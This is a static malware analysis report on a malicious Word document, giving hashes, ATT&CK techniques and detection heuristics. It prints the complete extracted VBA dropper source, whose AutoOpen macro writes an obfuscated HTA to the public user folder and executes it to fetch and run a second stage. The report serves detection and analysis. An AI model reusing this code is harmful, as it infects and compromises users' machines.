Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 6bd826879750c561…

MALICIOUS

Office (OOXML) / .DOC

76.2 KB Created: 2021-03-23 03:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 50fcd5f64f880e6c68802ae439002888 SHA-1: 271a122c8de7ca4813a3759b727ed0d37d480101 SHA-256: 6bd826879750c5614cc32472923ed773378fc18a85555ab3f30934edb3d1d821
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that calls a function to execute a file named 'main.hta' from the public user directory using 'wscript.shell'. This indicates an attempt to download and execute a second-stage payload. The VBA code also contains obfuscated strings that appear to be encoded data, likely part of the payload.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set trustLeftVar = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set trustLeftVar = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5054 bytes
SHA-256: 932f7c1717a9981ab4fa66645f5815393ea579841067178964460fbed00b2484
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{E6F56D42-AD0A-4725-8955-A012E82EB669}{5800FD64-8C5A-4A8C-B9C8-C2B21A48233F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set trustLeftVar = CreateObject("wscript.shell")
trustLeftVar.exec frm.CommandButton1.Tag & " c:\users\public\main.hta"
End Sub

Attribute VB_Name = "responseTableTable"
Sub autoopen()
tempTmp
End Sub
Sub tempTmp()
Dim viewNextCopy As String
viewNextCopy = "c:\users\public\main.hta"
storageLibSize viewNextCopy
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "screenIndexConst"
Function lenDatabase()
lenDatabase = "<div id='content'>fTtlc29sYy50eGVUeG9idHhldDspMiAsImdwai50bnVvQ25vaXRjZWxsb2NcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLnR4ZVR4b2J0eGV0Oyl5ZG9iZXNub3BzZXIubm90dHVCd29kbmlXZXRlbGVkKGV0aXJ3LnR4ZVR4b2J0eGV0OzEgPSBlcHl0LnR4ZVR4b2J0eGV0O25lcG8udHhlVHhvYnR4ZXQ7KS"
End Function
Function structTmpW()
structTmpW = "JtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gdHhlVHhvYnR4ZXQgcmF2eykwMDIgPT0gc3V0YXRzLm5vdHR1QndvZG5pV2V0ZWxlZChmaTspKGRuZXMubm90dHVCd29kbmlXZXRlbGVkOyllc2xhZiAsIiBwNmtkRjBzUndvT0hCeU5LNWdqeUROTTduVjYxWj1lbWl0JkNFcGxXaUltNUZ1TkkzOT1aZkFDQXZleUNEJk1UZDlkNF"
End Function
Function lenTempLib()
lenTempLib = "JtenJsSjBPeE1jclJ5aDZlelU2Mj1kaXMmY1lYSDdWYm1IPWhjcmFlcyZsWWtQWEQzR1g9JmZvQnplMmZGT0x1b3B6d3hVMFlvSTUwST1lZ2FwJk9yUVhzRTVHVk42Q1pPPXEmNDVlQXVESmF0NTR1V1hUT2hqbVdxPWRpYz8zeWd1ei81NjEzL2NhWElvNnVrdnI5U1BCV3Y3dXJTR3ZFOGl6NlhlNFB1aFVubkh2TC9Nd25tN0dqRHFOZXI2Um"
End Function
Function buttonCount()
buttonCount = "l4NXE5Y0t3WWUxRnFUaVVEWXVNaExaanUySTFYNDVXT0QvOTgzMzcvUDRSL1BRWHNXUXd6VngzZk4zaW83NHpxVUlEZkdHTGd2NkxuU0RUWlFyVzFWYWMvWnJzNnlXOUswdVREMG01T0kvMjUyOTcvZGR2ZGYvbW9jLmtudWpvbGxpanVydC8vOnB0dGgiICwiVEVHIihuZXBvLm5vdHR1QndvZG5pV2V0ZWxlZDspInB0dGhsbXguMmxteHNtIi"
End Function
Function ptrProcArgument()
ptrProcArgument = "h0Y2VqYk9YZXZpdGNBIHdlbiA9IG5vdHR1QndvZG5pV2V0ZWxlZCByYXY=|fXspZXNub3BzZVJ0bmVtdWdyYShoY3RhY307KSJhdGgubmlhbVxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQubm9pdGNlbGxvQ3RuZW11Y29Ebm90dHVie3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBIHdlbiA9I"
End Function
Function borderOptionGlobal()
borderOptionGlobal = "G5vaXRjZWxsb0N0bmVtdWNvRG5vdHR1YiByYXY7KSJncGoudG51b0Nub2l0Y2VsbG9jXFxjaWxidXBcXHNyZXN1XFw6YyAyM3J2c2dlciIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4=</div><script language='javascript'>function arrayWBorder(linkButton){return(new ActiveXObject(li"
End Function
Function tmpMain()
tmpMain = "nkButton));}function table(){return(localProcedureCollection('/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA'));}function referenceVb(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var refRightProc=''; var w=String.fromCharCod"
End Function
Function mainCountTmp()
mainCountTmp = "e; var L=s.length;var varIndex = 'charAt';for(i=0;i<64;i++){e[table()[varIndex](i)]=i;}for(x=0;x<L;x++){c=e[s[varIndex](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(refRightProc+=w(a));}}return(refRightProc);};function localProcedur"
End Function
Function clearTitleSelect()
clearTitleSelect = "eCollection(textboxNext){return textboxNext.split('').reverse().join('');}localOption = window;removeSize = document;localOption.resizeTo(1, 1);localOption.moveTo(-100, -100);var loadView = removeSize.getElementById('content').innerHTML;var loadView = load"
End Function
Function pointerCollection()
pointerCollection = "View.split('|');var globalCollectionStruct = localProcedureCollection(referenceVb(loadView[0]));var viewMemClass = localProcedureCollection(referenceVb(loadView[1]));</script><script language='javascript'>function refMemVariable(memMemRef){var valueValueSt"
End Function
Function constMemVariable()
constMemVariable = "orage = arrayWBorder('msscriptcontrol.scriptcontrol');valueValueStorage.Language = 'jscript';valueValueStorage.Timeout = 60000;valueValueStorage.AddCode(memMemRef);return(null);}</script><script language='vbscript'>refMemVariable globalCollectionStruct : r"
End Function
Function counterMain()
counterMain = "efMemVariable viewMemClass : localOption.close</script></body></html>"
End Function
Function listClear()
listClear = lenDatabase + structTmpW + lenTempLib + buttonCount + ptrProcArgument + borderOptionGlobal + tmpMain + mainCountTmp + clearTitleSelect + pointerCollection + constMemVariable + counterMain
End Function

Attribute VB_Name = "ExRemoveReference"
Sub storageLibSize(loadMain As String)
Open loadMain For Output As #1
Print #1, listClear
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: 18c8e7f3c662c7c713d484bcf3883a1ab9a1303f32196b8b38b3fb9583db18b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).